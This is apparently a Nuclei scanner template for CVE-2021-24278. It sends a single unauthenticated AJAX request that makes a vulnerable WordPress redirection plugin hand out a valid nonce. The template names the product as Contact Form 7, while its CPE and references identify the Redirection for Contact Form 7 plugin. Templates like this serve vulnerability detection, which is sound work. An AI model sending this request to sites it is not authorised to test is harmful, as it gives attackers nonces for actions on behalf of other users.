id: CVE-2021-24278

info:
  name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  impact: |
    Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
  remediation: |
    Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24278
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
    cwe-id: CWE-863
    epss-score: 0.05506
    epss-percentile: 0.93039
    cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: querysol
    product: redirection_for_contact_form_7
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=wpcf7r_get_nonce&param=wp_rest"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - '"nonce":"[a-f0-9]+"'
        part: body
# digest: 4b0a00483046022100d9abb764ee6563027af072cc23d4c9c16f80410112aba32996d15ad9d82c5a5a022100e439314dc9a6527a0d80b588b231ae631ee122f0d97542b41b800ffed7a3f51f:922c64590222798bb761d5b6d8e72950